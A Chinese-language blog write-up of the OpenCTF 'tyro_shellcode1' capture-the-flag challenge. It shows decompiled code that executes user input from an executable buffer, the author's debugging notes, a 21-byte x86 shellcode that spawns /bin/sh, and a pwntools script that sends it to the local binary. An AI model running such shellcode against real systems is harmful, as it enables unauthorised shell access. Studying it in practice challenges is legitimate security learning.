标签:代码 nbsp info challenge malloc 技术 接受 puts nis
1 int __cdecl main(int argc, const char **argv, const char **envp) 2 { 3 int v3; // ST2C_4 4 void *v4; // ST30_4 5 int v5; // ST38_4 6 char s; // [esp+3Ch] [ebp-84h] 7 unsigned int v8; // [esp+BCh] [ebp-4h] 8 9 v8 = __readgsdword(0x14u); 10 v3 = open("/home/challenge/flag", 0); 11 setbuf(_bss_start, 0); 12 setbuf(stdout, 0); 13 alarm(0x1Eu); 14 v4 = mmap(0, 0x80u, 7, 34, -1, 0); 15 memset(v4, 0xC3, 0x7Fu); 16 memset(&s, 0, 0x7Fu); 17 puts("OpenCTF tyro shellcode challenge.\n"); 18 puts("Write me some shellcode that reads from the file_descriptor"); 19 puts("I supply and writes it to the buffer that I supply"); 20 printf("%d ... 0x%08x\n", v3, &s); 21 read(0, v4, 0x20u); 22 v5 = ((int (*)(void))v4)(); 23 puts(&s); 24 return v5; 25 }
IDA打开观察,发现很乱,而且也没有找到有接收用户输入的地方。然后我就发现v3打开了在/home/challenge/flag目录下的文件,而且程序中还有提示,说是会在file_descriptor那里读取flag,我想既然程序中没有找到接受输入的语句,那么应该就是按照题目中的提示,去构造这个文件,然后再向这个文件里写入shellcode,最后在22行中把这个文件当作指令来执行就能够得到flag了。
在这里我用的是只有21字节的shellcode,b‘\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80‘
我先是在windows里用winhex把这串shellcode输入了进去。
然后按照程序提示,在对应的路径里放进去了构造好的flag文件。
然后执行,发现无法调出shell。但是明明这里返回值为3,说明这个路径下的flag文件已经读取成功了。
然后执行动态调试,居然在这里发现里接受输入数据的指令。这里是把输入数据放在了0xf7ffb000的位置。
然后在它后面的call中,是要转到0xf7ffb000的地址的。也就是说明,程序会把接受的数据直接当作指令来执行的。
1 from pwn import * 2 io=process(‘./tyro_shellcode1‘) 3 shellcode=b‘\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80‘ 4 io.send(shellcode) 5 io.interactive()
这样的话就简单了,直接写出脚本。
最后研究一下,为什么程序中并没有gets,scanf之类的输入函数,却仍然能够接受用户输入。
1 #include <bits/stdc++.h> 2 #include <unistd.h> 3 int main() 4 { 5 void *v4 = malloc(100); 6 read(0,v4,20); 7 printf("%s",(char *)v4); 8 return 0; 9 }
我在dev c++中写了这串代码。
运行后发现,程序确实会接受输入,并且输出的就是刚输入的。
但是如果把read(0,v4,20);中的第一个参数,改为一个非0的数,就不会接受输入了,程序只会返回一串乱码。
标签:代码 nbsp info challenge malloc 技术 接受 puts nis
原文地址:https://www.cnblogs.com/sweetbaby/p/14116952.html